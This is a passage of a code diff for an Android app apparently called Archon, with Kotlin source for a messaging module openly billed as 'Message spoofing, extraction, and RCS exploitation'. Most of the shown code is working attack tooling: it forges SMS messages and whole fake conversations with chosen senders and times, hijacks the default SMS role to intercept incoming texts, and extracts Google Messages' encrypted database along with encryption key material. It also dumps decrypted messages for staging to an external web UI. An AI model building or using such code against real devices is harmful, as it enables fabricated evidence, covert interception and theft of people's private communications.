MessagingRepository.MESSAGE_TYPE_FAILED -> VIEW_TYPE_SENT
else -> VIEW_TYPE_RECEIVED
}
}
override fun onCreateViewHolder(parent: ViewGroup, viewType: Int): ViewHolder {
val layoutRes = if (viewType == VIEW_TYPE_SENT) {
R.layout.item_message_sent
} else {
R.layout.item_message_received
}
val view = LayoutInflater.from(parent.context).inflate(layoutRes, parent, false)
return ViewHolder(view)
}
override fun onBindViewHolder(holder: ViewHolder, position: Int) {
val msg = messages[position]
// Message body
holder.bubbleBody.text = msg.body
// Timestamp
holder.bubbleTime.text = formatMessageTime(msg.date)
// Delivery status (sent messages only)
holder.bubbleStatus?.let { statusView ->
if (msg.type == MessagingRepository.MESSAGE_TYPE_SENT) {
statusView.visibility = View.VISIBLE
statusView.text = when (msg.status) {
-1 -> "" // No status
0 -> "Sent"
32 -> "Delivered"
64 -> "Failed"
else -> ""
}
} else {
statusView.visibility = View.GONE
}
}
// RCS indicator
holder.rcsIndicator?.let { indicator ->
if (msg.isRcs) {
indicator.visibility = View.VISIBLE
indicator.text = "RCS"
} else if (msg.isMms) {
indicator.visibility = View.VISIBLE
indicator.text = "MMS"
} else {
indicator.visibility = View.GONE
}
}
}
override fun getItemCount(): Int = messages.size
fun updateData(newMessages: List<MessagingRepository.Message>) {
messages.clear()
messages.addAll(newMessages)
notifyDataSetChanged()
}
fun addMessage(message: MessagingRepository.Message) {
messages.add(message)
notifyItemInserted(messages.size - 1)
}
/**
* Format timestamp for individual messages.
* Shows time for today, date+time for older messages.
*/
private fun formatMessageTime(timestamp: Long): String {
if (timestamp <= 0) return ""
val date = Date(timestamp)
val today = Calendar.getInstance()
today.set(Calendar.HOUR_OF_DAY, 0)
today.set(Calendar.MINUTE, 0)
today.set(Calendar.SECOND, 0)
today.set(Calendar.MILLISECOND, 0)
return if (timestamp >= today.timeInMillis) {
SimpleDateFormat("h:mm a", Locale.US).format(date)
} else {
SimpleDateFormat("MMM d, h:mm a", Locale.US).format(date)
}
}
/**
* Extension to safely find a view that may not exist in all layout variants.
*/
private fun View.findViewOrNull(id: Int): TextView? {
return try {
findViewById(id)
} catch (e: Exception) {
null
}
}
}

View File

@@ -0,0 +1,522 @@
package com.darkhal.archon.messaging
import android.content.Context
import android.os.Environment
import android.util.Log
import com.darkhal.archon.module.ArchonModule
import com.darkhal.archon.module.ModuleAction
import com.darkhal.archon.module.ModuleResult
import com.darkhal.archon.module.ModuleStatus
import com.darkhal.archon.util.PrivilegeManager
import java.io.File
import java.text.SimpleDateFormat
import java.util.Date
import java.util.Locale
/**
* SMS/RCS Tools module — message spoofing, extraction, and RCS exploitation.
*
* Provides actions for:
* - Setting/restoring default SMS app role
* - Exporting all messages or specific threads
* - Forging (inserting fake) messages and conversations
* - Searching message content
* - Checking RCS status and capabilities
* - Shizuku integration status
* - SMS interception toggle
*
* All elevated operations route through ShizukuManager (which itself
* falls back to PrivilegeManager's escalation chain).
*/
class MessagingModule : ArchonModule {
companion object {
private const val TAG = "MessagingModule"
}
override val id = "messaging"
override val name = "SMS/RCS Tools"
override val description = "Message spoofing, extraction, and RCS exploitation"
override val version = "1.0"
override fun getActions(): List<ModuleAction> = listOf(
ModuleAction(
id = "become_default",
name = "Become Default SMS",
description = "Set Archon as default SMS app (via Shizuku or role request)",
privilegeRequired = true
),
ModuleAction(
id = "restore_default",
name = "Restore Default SMS",
description = "Restore previous default SMS app",
privilegeRequired = true
),
ModuleAction(
id = "export_all",
name = "Export All Messages",
description = "Export all SMS/MMS to XML backup file",
privilegeRequired = false
),
ModuleAction(
id = "export_thread",
name = "Export Thread",
description = "Export specific conversation (use export_thread:<threadId>)",
privilegeRequired = false
),
ModuleAction(
id = "forge_message",
name = "Forge Message",
description = "Insert a fake message (use forge_message:<address>:<body>:<type>)",
privilegeRequired = true
),
ModuleAction(
id = "forge_conversation",
name = "Forge Conversation",
description = "Create entire fake conversation (use forge_conversation:<address>)",
privilegeRequired = true
),
ModuleAction(
id = "search_messages",
name = "Search Messages",
description = "Search all messages by keyword (use search_messages:<query>)",
privilegeRequired = false
),
ModuleAction(
id = "rcs_status",
name = "RCS Status",
description = "Check RCS availability and capabilities",
privilegeRequired = false
),
ModuleAction(
id = "shizuku_status",
name = "Shizuku Status",
description = "Check Shizuku integration status and privilege level",
privilegeRequired = false
),
ModuleAction(
id = "intercept_mode",
name = "Intercept Mode",
description = "Toggle SMS interception (intercept_mode:on or intercept_mode:off)",
privilegeRequired = true,
rootOnly = false
),
ModuleAction(
id = "rcs_account",
name = "RCS Account Info",
description = "Get Google Messages RCS registration, IMS state, and carrier config",
privilegeRequired = true
),
ModuleAction(
id = "extract_bugle_db",
name = "Extract bugle_db",
description = "Extract encrypted bugle_db + encryption key material from Google Messages",
privilegeRequired = true
),
ModuleAction(
id = "dump_decrypted",
name = "Dump Decrypted Messages",
description = "Query decrypted RCS/SMS messages from content providers and app context",
privilegeRequired = true
),
ModuleAction(
id = "extract_keys",
name = "Extract Encryption Keys",
description = "Extract bugle_db encryption key material from shared_prefs",
privilegeRequired = true
),
ModuleAction(
id = "gmsg_info",
name = "Google Messages Info",
description = "Get Google Messages version, UID, and RCS configuration",
privilegeRequired = false
)
)
override fun executeAction(actionId: String, context: Context): ModuleResult {
val repo = MessagingRepository(context)
val shizuku = ShizukuManager(context)
return when {
actionId == "become_default" -> becomeDefault(shizuku)
actionId == "restore_default" -> restoreDefault(shizuku)
actionId == "export_all" -> exportAll(context, repo)
actionId == "export_thread" -> ModuleResult(false, "Specify thread: export_thread:<threadId>")
actionId.startsWith("export_thread:") -> {
val threadId = actionId.substringAfter(":").toLongOrNull()
?: return ModuleResult(false, "Invalid thread ID")
exportThread(context, repo, threadId)
}
actionId == "forge_message" -> ModuleResult(false, "Usage: forge_message:<address>:<body>:<type 1=recv 2=sent>")
actionId.startsWith("forge_message:") -> {
val params = actionId.removePrefix("forge_message:").split(":", limit = 3)
if (params.size < 3) return ModuleResult(false, "Usage: forge_message:<address>:<body>:<type>")
val type = params[2].toIntOrNull() ?: 1
forgeMessage(repo, params[0], params[1], type)
}
actionId == "forge_conversation" -> ModuleResult(false, "Specify address: forge_conversation:<phone>")
actionId.startsWith("forge_conversation:") -> {
val address = actionId.substringAfter(":")
forgeConversation(repo, address)
}
actionId == "search_messages" -> ModuleResult(false, "Specify query: search_messages:<keyword>")
actionId.startsWith("search_messages:") -> {
val query = actionId.substringAfter(":")
searchMessages(repo, query)
}
actionId == "rcs_status" -> rcsStatus(context, repo, shizuku)
actionId == "shizuku_status" -> shizukuStatus(shizuku)
actionId == "intercept_mode" -> ModuleResult(false, "Specify: intercept_mode:on or intercept_mode:off")
actionId == "intercept_mode:on" -> interceptMode(shizuku, true)
actionId == "intercept_mode:off" -> interceptMode(shizuku, false)
actionId == "rcs_account" -> rcsAccountInfo(shizuku)
actionId == "extract_bugle_db" -> extractBugleDb(shizuku)
actionId == "dump_decrypted" -> dumpDecrypted(shizuku)
actionId == "extract_keys" -> extractKeys(shizuku)
actionId == "gmsg_info" -> gmsgInfo(shizuku)
else -> ModuleResult(false, "Unknown action: $actionId")
}
}
override fun getStatus(context: Context): ModuleStatus {
val shizuku = ShizukuManager(context)
val shizukuReady = shizuku.isReady()
val privilegeReady = PrivilegeManager.isReady()
val summary = when {
shizukuReady -> "Ready (elevated access)"
privilegeReady -> "Ready (basic access)"
else -> "No privilege access — run Setup"
}
return ModuleStatus(
active = shizukuReady || privilegeReady,
summary = summary,
details = mapOf(
"shizuku" to shizuku.getStatus().label,
"privilege" to PrivilegeManager.getAvailableMethod().label
)
)
}
// ── Action implementations ─────────────────────────────────────
private fun becomeDefault(shizuku: ShizukuManager): ModuleResult {
if (!shizuku.isReady()) {
return ModuleResult(false, "Elevated access required — start Archon Server or Shizuku first")
}
val success = shizuku.setDefaultSmsApp()
return if (success) {
ModuleResult(true, "Archon is now the default SMS app — can write to SMS database",
listOf("Previous default saved for restoration",
"Use 'Restore Default' when done"))
} else {
ModuleResult(false, "Failed to set default SMS app — check Shizuku/ADB permissions")
}
}
private fun restoreDefault(shizuku: ShizukuManager): ModuleResult {
val success = shizuku.revokeDefaultSmsApp()
return if (success) {
ModuleResult(true, "Default SMS app restored")
} else {
ModuleResult(false, "Failed to restore default SMS app")
}
}
private fun exportAll(context: Context, repo: MessagingRepository): ModuleResult {
return try {
val xml = repo.exportAllMessages("xml")
if (xml.isBlank()) {
return ModuleResult(false, "No messages to export (check SMS permission)")
}
// Write to file
val timestamp = SimpleDateFormat("yyyyMMdd_HHmmss", Locale.US).format(Date())
val exportDir = File(context.getExternalFilesDir(Environment.DIRECTORY_DOCUMENTS), "sms_export")
exportDir.mkdirs()
val file = File(exportDir, "sms_backup_$timestamp.xml")
file.writeText(xml)
val lineCount = xml.lines().size
ModuleResult(true, "Exported $lineCount lines to ${file.absolutePath}",
listOf("Format: SMS Backup & Restore compatible XML",
"Path: ${file.absolutePath}",
"Size: ${file.length() / 1024}KB"))
} catch (e: Exception) {
Log.e(TAG, "Export failed", e)
ModuleResult(false, "Export failed: ${e.message}")
}
}
private fun exportThread(context: Context, repo: MessagingRepository, threadId: Long): ModuleResult {
return try {
val xml = repo.exportConversation(threadId, "xml")
if (xml.isBlank()) {
return ModuleResult(false, "No messages in thread $threadId or no permission")
}
val timestamp = SimpleDateFormat("yyyyMMdd_HHmmss", Locale.US).format(Date())
val exportDir = File(context.getExternalFilesDir(Environment.DIRECTORY_DOCUMENTS), "sms_export")
exportDir.mkdirs()
val file = File(exportDir, "thread_${threadId}_$timestamp.xml")
file.writeText(xml)
ModuleResult(true, "Exported thread $threadId to ${file.name}",
listOf("Path: ${file.absolutePath}", "Size: ${file.length() / 1024}KB"))
} catch (e: Exception) {
ModuleResult(false, "Thread export failed: ${e.message}")
}
}
private fun forgeMessage(repo: MessagingRepository, address: String, body: String, type: Int): ModuleResult {
val id = repo.forgeMessage(
address = address,
body = body,
type = type,
date = System.currentTimeMillis(),
read = true
)
return if (id >= 0) {
val direction = if (type == 1) "received" else "sent"
ModuleResult(true, "Forged $direction message id=$id",
listOf("Address: $address", "Body: ${body.take(50)}", "Type: $direction"))
} else {
ModuleResult(false, "Forge failed — is Archon the default SMS app? Use 'Become Default' first")
}
}
private fun forgeConversation(repo: MessagingRepository, address: String): ModuleResult {
// Create a sample conversation with back-and-forth messages
val messages = listOf(
"Hey, are you there?" to MessagingRepository.MESSAGE_TYPE_RECEIVED,
"Yeah, what's up?" to MessagingRepository.MESSAGE_TYPE_SENT,
"Can you meet me later?" to MessagingRepository.MESSAGE_TYPE_RECEIVED,
"Sure, what time?" to MessagingRepository.MESSAGE_TYPE_SENT,
"Around 7pm at the usual place" to MessagingRepository.MESSAGE_TYPE_RECEIVED,
"Sounds good, see you then" to MessagingRepository.MESSAGE_TYPE_SENT,
)
val threadId = repo.forgeConversation(address, messages)
return if (threadId >= 0) {
ModuleResult(true, "Forged conversation thread=$threadId with ${messages.size} messages",
listOf("Address: $address", "Messages: ${messages.size}", "Thread ID: $threadId"))
} else {
ModuleResult(false, "Forge conversation failed — is Archon the default SMS app?")
}
}
private fun searchMessages(repo: MessagingRepository, query: String): ModuleResult {
val results = repo.searchMessages(query)
if (results.isEmpty()) {
return ModuleResult(true, "No messages matching '$query'")
}
val details = results.take(20).map { msg ->
val direction = if (msg.type == 1) "recv" else "sent"
val dateStr = SimpleDateFormat("MM/dd HH:mm", Locale.US).format(Date(msg.date))
"[$direction] ${msg.address} ($dateStr): ${msg.body.take(60)}"
}
val extra = if (results.size > 20) {
listOf("... and ${results.size - 20} more results")
} else {
emptyList()
}
return ModuleResult(true, "${results.size} message(s) matching '$query'",
details + extra)
}
private fun rcsStatus(context: Context, repo: MessagingRepository, shizuku: ShizukuManager): ModuleResult {
val details = mutableListOf<String>()
// Check RCS availability
val rcsAvailable = repo.isRcsAvailable()
details.add("RCS available: $rcsAvailable")
if (rcsAvailable) {
details.add("Provider: Google Messages")
} else {
details.add("RCS not detected — Google Messages may not be installed or RCS not enabled")
}
// Check if we can access RCS provider
if (shizuku.isReady()) {
val canAccess = shizuku.accessRcsProvider()
details.add("RCS provider access: $canAccess")
if (canAccess) {
val rcsMessages = shizuku.readRcsDatabase()
details.add("RCS messages readable: ${rcsMessages.size}")
}
} else {
details.add("Elevated access needed for full RCS access")
}
return ModuleResult(true,
if (rcsAvailable) "RCS available" else "RCS not detected",
details)
}
private fun shizukuStatus(shizuku: ShizukuManager): ModuleResult {
val status = shizuku.getStatus()
val privilegeMethod = PrivilegeManager.getAvailableMethod()
val details = listOf(
"Shizuku status: ${status.label}",
"Privilege method: ${privilegeMethod.label}",
"Elevated ready: ${shizuku.isReady()}",
"Can write SMS DB: ${status == ShizukuManager.ShizukuStatus.READY}",
"Can access RCS: ${status == ShizukuManager.ShizukuStatus.READY}"
)
return ModuleResult(true, status.label, details)
}
private fun interceptMode(shizuku: ShizukuManager, enable: Boolean): ModuleResult {
if (!shizuku.isReady()) {
return ModuleResult(false, "Elevated access required for interception")
}
val success = shizuku.interceptSms(enable)
return if (success) {
val state = if (enable) "ENABLED" else "DISABLED"
ModuleResult(true, "SMS interception $state",
listOf(if (enable) {
"Archon is now the default SMS handler — all incoming messages will be captured"
} else {
"Previous SMS handler restored"
}))
} else {
ModuleResult(false, "Failed to ${if (enable) "enable" else "disable"} interception")
}
}
// ── Google Messages RCS database access ─────────────────────────
private fun rcsAccountInfo(shizuku: ShizukuManager): ModuleResult {
if (!shizuku.isReady()) {
return ModuleResult(false, "Elevated access required")
}
return try {
val info = shizuku.getRcsAccountInfo()
val details = mutableListOf<String>()
details.add("IMS registered: ${info["ims_registered"] ?: "unknown"}")
details.add("RCS enabled: ${info["rcs_enabled"] ?: "unknown"}")
val gmsg = info["google_messages"] as? Map<*, *>
if (gmsg != null) {
details.add("Google Messages: v${gmsg["version"] ?: "?"} (UID: ${gmsg["uid"] ?: "?"})")
}
val rcsConfig = info["carrier_rcs_config"] as? Map<*, *>
if (rcsConfig != null && rcsConfig.isNotEmpty()) {
details.add("Carrier RCS keys: ${rcsConfig.size}")
rcsConfig.entries.take(5).forEach { (k, v) ->
details.add(" $k = $v")
}
}
val gmsgPrefs = info["gmsg_rcs_prefs"] as? Map<*, *>
if (gmsgPrefs != null && gmsgPrefs.isNotEmpty()) {
details.add("Google Messages RCS prefs: ${gmsgPrefs.size}")
gmsgPrefs.entries.take(5).forEach { (k, v) ->
details.add(" $k = $v")
}
}
ModuleResult(true, "RCS account info retrieved", details)
} catch (e: Exception) {
ModuleResult(false, "Failed: ${e.message}")
}
}
private fun extractBugleDb(shizuku: ShizukuManager): ModuleResult {
if (!shizuku.isReady()) {
return ModuleResult(false, "Elevated access required — bugle_db is encrypted at rest")
}
return try {
val result = shizuku.extractBugleDbRaw()
val dbFiles = result["db_files"] as? List<*> ?: emptyList<String>()
val details = mutableListOf<String>()
details.add("Database files: ${dbFiles.joinToString(", ")}")
details.add("Staging dir: ${result["staging_dir"]}")
details.add("ENCRYPTED: ${result["encrypted"]}")
details.add(result["note"].toString())
details.add("")
details.add("Use AUTARCH web UI to pull from: ${result["staging_dir"]}")
details.add("Key material in shared_prefs/ may enable offline decryption")
details.add("Hardware-backed Keystore keys cannot be extracted via ADB")
ModuleResult(dbFiles.isNotEmpty(), "Extracted ${dbFiles.size} DB files + key material", details)
} catch (e: Exception) {
ModuleResult(false, "Extract failed: ${e.message}")
}
}
private fun dumpDecrypted(shizuku: ShizukuManager): ModuleResult {
if (!shizuku.isReady()) {
return ModuleResult(false, "Elevated access required")
}
return try {
val result = shizuku.dumpDecryptedMessages()
val count = result["message_count"] as? Int ?: 0
val details = mutableListOf<String>()
details.add("Messages retrieved: $count")
details.add("RCS provider accessible: ${result["rcs_provider_accessible"]}")
if (result["json_path"] != null) {
details.add("JSON dump: ${result["json_path"]}")
}
details.add(result["note"].toString())
if (count > 0) {
details.add("")
details.add("Use AUTARCH web UI to pull the decrypted dump")
}
ModuleResult(count > 0, "$count messages dumped (decrypted)", details)
} catch (e: Exception) {
ModuleResult(false, "Dump failed: ${e.message}")
}
}
private fun extractKeys(shizuku: ShizukuManager): ModuleResult {
if (!shizuku.isReady()) {
return ModuleResult(false, "Elevated access required")
}
return try {
val result = shizuku.extractEncryptionKeyMaterial()
if (result.containsKey("error")) {
return ModuleResult(false, result["error"].toString())
}
val details = mutableListOf<String>()
val cryptoCount = result["crypto_prefs_count"] as? Int ?: 0
details.add("Crypto-related shared_prefs files: $cryptoCount")
val prefFiles = result["shared_prefs_files"] as? List<*>
if (prefFiles != null) {
details.add("Total shared_prefs files: ${prefFiles.size}")
}
val filesDir = result["files_dir"] as? List<*>
if (filesDir != null) {
details.add("Files dir entries: ${filesDir.size}")
}
details.add("")
details.add("NOTE: bugle_db encryption key may be in these files.")
details.add("Hardware-backed Android Keystore keys cannot be extracted.")
details.add("If key derivation params are in shared_prefs, offline")
details.add("decryption may be possible with the right tools.")
ModuleResult(cryptoCount > 0, "Extracted $cryptoCount crypto-related files", details)
} catch (e: Exception) {
ModuleResult(false, "Key extraction failed: ${e.message}")
}
}
private fun gmsgInfo(shizuku: ShizukuManager): ModuleResult {
return try {
val info = shizuku.getGoogleMessagesInfo()
if (info.isEmpty()) {
return ModuleResult(false, "Google Messages not found or not accessible")
}
val details = info.map { (k, v) -> "$k: $v" }
ModuleResult(true, "Google Messages v${info["version"] ?: "?"}", details)
} catch (e: Exception) {
ModuleResult(false, "Failed: ${e.message}")
}
}
}

View File

@@ -0,0 +1,940 @@
package com.darkhal.archon.messaging
import android.content.ContentValues
import android.content.Context
import android.database.Cursor
import android.net.Uri
import android.provider.ContactsContract
import android.provider.Telephony
import android.telephony.SmsManager
import android.util.Log
import java.text.SimpleDateFormat
import java.util.Date
import java.util.Locale
/**
* Data access layer for SMS/MMS/RCS messages using Android ContentResolver.
*
* Most write operations require the app to be the default SMS handler.
* Use ShizukuManager or RoleManager to acquire that role first.
*/
class MessagingRepository(private val context: Context) {
companion object {
private const val TAG = "MessagingRepo"
// SMS message types
const val MESSAGE_TYPE_RECEIVED = 1
const val MESSAGE_TYPE_SENT = 2
const val MESSAGE_TYPE_DRAFT = 3
const val MESSAGE_TYPE_OUTBOX = 4
const val MESSAGE_TYPE_FAILED = 5
const val MESSAGE_TYPE_QUEUED = 6
// Content URIs
val URI_SMS: Uri = Uri.parse("content://sms/")
val URI_MMS: Uri = Uri.parse("content://mms/")
val URI_SMS_CONVERSATIONS: Uri = Uri.parse("content://sms/conversations/")
val URI_MMS_SMS_CONVERSATIONS: Uri = Uri.parse("content://mms-sms/conversations/")
val URI_MMS_SMS_COMPLETE: Uri = Uri.parse("content://mms-sms/complete-conversations/")
// RCS content provider (Google Messages)
val URI_RCS_MESSAGES: Uri = Uri.parse("content://im/messages")
val URI_RCS_THREADS: Uri = Uri.parse("content://im/threads")
}
// ── Data classes ───────────────────────────────────────────────
data class Conversation(
val threadId: Long,
val address: String,
val snippet: String,
val date: Long,
val messageCount: Int,
val unreadCount: Int,
val contactName: String?
)
data class Message(
val id: Long,
val threadId: Long,
val address: String,
val body: String,
val date: Long,
val type: Int,
val read: Boolean,
val status: Int,
val isRcs: Boolean,
val isMms: Boolean,
val contactName: String?
)
// ── Read operations ────────────────────────────────────────────
/**
* Get all conversations from the combined SMS+MMS threads provider.
* Falls back to SMS-only conversations if the combined provider is not available.
*/
fun getConversations(): List<Conversation> {
val conversations = mutableListOf<Conversation>()
val threadMap = mutableMapOf<Long, Conversation>()
try {
// Query all SMS messages grouped by thread_id
val cursor = context.contentResolver.query(
URI_SMS,
arrayOf("_id", "thread_id", "address", "body", "date", "read", "type"),
null, null, "date DESC"
)
cursor?.use {
while (it.moveToNext()) {
val threadId = it.getLongSafe("thread_id")
if (threadId <= 0) continue
val existing = threadMap[threadId]
if (existing != null) {
// Update counts
val unread = if (!it.getBoolSafe("read")) 1 else 0
threadMap[threadId] = existing.copy(
messageCount = existing.messageCount + 1,
unreadCount = existing.unreadCount + unread
)
} else {
val address = it.getStringSafe("address")
val read = it.getBoolSafe("read")
threadMap[threadId] = Conversation(
threadId = threadId,
address = address,
snippet = it.getStringSafe("body"),
date = it.getLongSafe("date"),
messageCount = 1,
unreadCount = if (!read) 1 else 0,
contactName = getContactName(address)
)
}
}
}
conversations.addAll(threadMap.values)
conversations.sortByDescending { it.date }
} catch (e: SecurityException) {
Log.e(TAG, "No SMS read permission", e)
} catch (e: Exception) {
Log.e(TAG, "Failed to get conversations", e)
}
return conversations
}
/**
* Get all messages in a specific thread, ordered by date ascending (oldest first).
*/
fun getMessages(threadId: Long): List<Message> {
val messages = mutableListOf<Message>()
try {
val cursor = context.contentResolver.query(
URI_SMS,
arrayOf("_id", "thread_id", "address", "body", "date", "type", "read", "status"),
"thread_id = ?",
arrayOf(threadId.toString()),
"date ASC"
)
cursor?.use {
while (it.moveToNext()) {
val address = it.getStringSafe("address")
messages.add(Message(
id = it.getLongSafe("_id"),
threadId = it.getLongSafe("thread_id"),
address = address,
body = it.getStringSafe("body"),
date = it.getLongSafe("date"),
type = it.getIntSafe("type"),
read = it.getBoolSafe("read"),
status = it.getIntSafe("status"),
isRcs = false,
isMms = false,
contactName = getContactName(address)
))
}
}
// Also try to load MMS messages for this thread
loadMmsForThread(threadId, messages)
// Sort combined list by date
messages.sortBy { it.date }
} catch (e: SecurityException) {
Log.e(TAG, "No SMS read permission", e)
} catch (e: Exception) {
Log.e(TAG, "Failed to get messages for thread $threadId", e)
}
return messages
}
/**
* Get a single message by ID.
*/
fun getMessage(id: Long): Message? {
try {
val cursor = context.contentResolver.query(
URI_SMS,
arrayOf("_id", "thread_id", "address", "body", "date", "type", "read", "status"),
"_id = ?",
arrayOf(id.toString()),
null
)
cursor?.use {
if (it.moveToFirst()) {
val address = it.getStringSafe("address")
return Message(
id = it.getLongSafe("_id"),
threadId = it.getLongSafe("thread_id"),
address = address,
body = it.getStringSafe("body"),
date = it.getLongSafe("date"),
type = it.getIntSafe("type"),
read = it.getBoolSafe("read"),
status = it.getIntSafe("status"),
isRcs = false,
isMms = false,
contactName = getContactName(address)
)
}
}
} catch (e: Exception) {
Log.e(TAG, "Failed to get message $id", e)
}
return null
}
/**
* Full-text search across all SMS message bodies.
*/
fun searchMessages(query: String): List<Message> {
val messages = mutableListOf<Message>()
if (query.isBlank()) return messages
try {
val cursor = context.contentResolver.query(
URI_SMS,
arrayOf("_id", "thread_id", "address", "body", "date", "type", "read", "status"),
"body LIKE ?",
arrayOf("%$query%"),
"date DESC"
)
cursor?.use {
while (it.moveToNext()) {
val address = it.getStringSafe("address")
messages.add(Message(
id = it.getLongSafe("_id"),
threadId = it.getLongSafe("thread_id"),
address = address,
body = it.getStringSafe("body"),
date = it.getLongSafe("date"),
type = it.getIntSafe("type"),
read = it.getBoolSafe("read"),
status = it.getIntSafe("status"),
isRcs = false,
isMms = false,
contactName = getContactName(address)
))
}
}
} catch (e: Exception) {
Log.e(TAG, "Search failed for '$query'", e)
}
return messages
}
/**
* Lookup contact display name by phone number.
*/
fun getContactName(address: String): String? {
if (address.isBlank()) return null
try {
val uri = Uri.withAppendedPath(
ContactsContract.PhoneLookup.CONTENT_FILTER_URI,
Uri.encode(address)
)
val cursor = context.contentResolver.query(
uri,
arrayOf(ContactsContract.PhoneLookup.DISPLAY_NAME),
null, null, null
)
cursor?.use {
if (it.moveToFirst()) {
val idx = it.getColumnIndex(ContactsContract.PhoneLookup.DISPLAY_NAME)
if (idx >= 0) return it.getString(idx)
}
}
} catch (e: Exception) {
// Contact lookup can fail for short codes, etc.
Log.d(TAG, "Contact lookup failed for $address: ${e.message}")
}
return null
}
// ── Write operations (requires default SMS app role) ──────────
/**
* Send an SMS message via SmsManager.
* Returns true if the message was submitted to the system for sending.
*/
fun sendSms(address: String, body: String): Boolean {
return try {
val smsManager = context.getSystemService(SmsManager::class.java)
if (body.length > 160) {
val parts = smsManager.divideMessage(body)
smsManager.sendMultipartTextMessage(address, null, parts, null, null)
} else {
smsManager.sendTextMessage(address, null, body, null, null)
}
// Also insert into sent box
insertSms(address, body, MESSAGE_TYPE_SENT, System.currentTimeMillis(), true)
true
} catch (e: Exception) {
Log.e(TAG, "Failed to send SMS to $address", e)
false
}
}
/**
* Insert an SMS record into the content provider.
* Requires default SMS app role for writing.
*
* @param type 1=received, 2=sent, 3=draft, 4=outbox, 5=failed, 6=queued
* @return the row ID of the inserted message, or -1 on failure
*/
fun insertSms(address: String, body: String, type: Int, date: Long, read: Boolean): Long {
return try {
val values = ContentValues().apply {
put("address", address)
put("body", body)
put("type", type)
put("date", date)
put("read", if (read) 1 else 0)
put("seen", 1)
}
val uri = context.contentResolver.insert(URI_SMS, values)
if (uri != null) {
val id = uri.lastPathSegment?.toLongOrNull() ?: -1L
Log.i(TAG, "Inserted SMS id=$id type=$type addr=$address")
id
} else {
Log.w(TAG, "SMS insert returned null URI — app may not be default SMS handler")
-1L
}
} catch (e: SecurityException) {
Log.e(TAG, "No write permission — must be default SMS app", e)
-1L
} catch (e: Exception) {
Log.e(TAG, "Failed to insert SMS", e)
-1L
}
}
/**
* Update an existing SMS message's fields.
*/
fun updateMessage(id: Long, body: String?, type: Int?, date: Long?, read: Boolean?): Boolean {
return try {
val values = ContentValues()
body?.let { values.put("body", it) }
type?.let { values.put("type", it) }
date?.let { values.put("date", it) }
read?.let { values.put("read", if (it) 1 else 0) }
if (values.size() == 0) return false
val count = context.contentResolver.update(
Uri.parse("content://sms/$id"),
values, null, null
)
Log.i(TAG, "Updated SMS id=$id, rows=$count")
count > 0
} catch (e: SecurityException) {
Log.e(TAG, "No write permission for update", e)
false
} catch (e: Exception) {
Log.e(TAG, "Failed to update message $id", e)
false
}
}
/**
* Delete a single SMS message by ID.
*/
fun deleteMessage(id: Long): Boolean {
return try {
val count = context.contentResolver.delete(
Uri.parse("content://sms/$id"), null, null
)
Log.i(TAG, "Deleted SMS id=$id, rows=$count")
count > 0
} catch (e: Exception) {
Log.e(TAG, "Failed to delete message $id", e)
false
}
}
/**
* Delete all messages in a conversation thread.
*/
fun deleteConversation(threadId: Long): Boolean {
return try {
val count = context.contentResolver.delete(
URI_SMS, "thread_id = ?", arrayOf(threadId.toString())
)
Log.i(TAG, "Deleted conversation thread=$threadId, rows=$count")
count > 0
} catch (e: Exception) {
Log.e(TAG, "Failed to delete conversation $threadId", e)
false
}
}
/**
* Mark all messages in a thread as read.
*/
fun markAsRead(threadId: Long): Boolean {
return try {
val values = ContentValues().apply {
put("read", 1)
put("seen", 1)
}
val count = context.contentResolver.update(
URI_SMS, values,
"thread_id = ? AND read = 0",
arrayOf(threadId.toString())
)
Log.i(TAG, "Marked $count messages as read in thread $threadId")
count >= 0
} catch (e: Exception) {
Log.e(TAG, "Failed to mark thread $threadId as read", e)
false
}
}
// ── Spoofing / Forging ─────────────────────────────────────────
/**
* Insert a forged message with arbitrary sender, body, timestamp, and direction.
* This creates a message that appears to come from the given address
* at the given time, regardless of whether it was actually received.
*
* Requires default SMS app role.
*
* @param type MESSAGE_TYPE_RECEIVED (1) to fake incoming, MESSAGE_TYPE_SENT (2) to fake outgoing
* @return the row ID of the forged message, or -1 on failure
*/
fun forgeMessage(
address: String,
body: String,
type: Int,
date: Long,
contactName: String? = null,
read: Boolean = true
): Long {
return try {
val values = ContentValues().apply {
put("address", address)
put("body", body)
put("type", type)
put("date", date)
put("read", if (read) 1 else 0)
put("seen", 1)
// Set status to complete for sent messages
if (type == MESSAGE_TYPE_SENT) {
put("status", Telephony.Sms.STATUS_COMPLETE)
}
// person field links to contacts — we leave it null for forged messages
// unless we want to explicitly associate with a contact
contactName?.let { put("person", 0) }
}
val uri = context.contentResolver.insert(URI_SMS, values)
if (uri != null) {
val id = uri.lastPathSegment?.toLongOrNull() ?: -1L
Log.i(TAG, "Forged SMS id=$id type=$type addr=$address date=$date")
id
} else {
Log.w(TAG, "Forge insert returned null — not default SMS app?")
-1L
}
} catch (e: SecurityException) {
Log.e(TAG, "Forge failed — no write permission", e)
-1L
} catch (e: Exception) {
Log.e(TAG, "Forge failed", e)
-1L
}
}
/**
* Create an entire fake conversation by inserting multiple messages.
*
* @param messages list of (body, type) pairs where type is 1=received, 2=sent
* @return the thread ID of the created conversation, or -1 on failure
*/
fun forgeConversation(address: String, messages: List<Pair<String, Int>>): Long {
if (messages.isEmpty()) return -1L
// Insert messages with increasing timestamps, 1-5 minutes apart
var timestamp = System.currentTimeMillis() - (messages.size * 180_000L) // Start N*3min ago
var threadId = -1L
for ((body, type) in messages) {
val id = forgeMessage(address, body, type, timestamp, read = true)
if (id < 0) {
Log.e(TAG, "Failed to forge message in conversation")
return -1L
}
// Get the thread ID from the first inserted message
if (threadId < 0) {
val msg = getMessage(id)
threadId = msg?.threadId ?: -1L
}
// Advance 1-5 minutes
timestamp += (60_000L + (Math.random() * 240_000L).toLong())
}
Log.i(TAG, "Forged conversation: addr=$address, msgs=${messages.size}, thread=$threadId")
return threadId
}
// ── Export / Backup ────────────────────────────────────────────
/**
* Export a conversation to SMS Backup & Restore compatible XML format.
*/
fun exportConversation(threadId: Long, format: String = "xml"): String {
val messages = getMessages(threadId)
if (messages.isEmpty()) return ""
return when (format.lowercase()) {
"xml" -> exportToXml(messages)
"csv" -> exportToCsv(messages)
else -> exportToXml(messages)
}
}
/**
* Export all SMS messages to the specified format.
*/
fun exportAllMessages(format: String = "xml"): String {
val allMessages = mutableListOf<Message>()
try {
val cursor = context.contentResolver.query(
URI_SMS,
arrayOf("_id", "thread_id", "address", "body", "date", "type", "read", "status"),
null, null, "date ASC"
)
cursor?.use {
while (it.moveToNext()) {
val address = it.getStringSafe("address")
allMessages.add(Message(
id = it.getLongSafe("_id"),
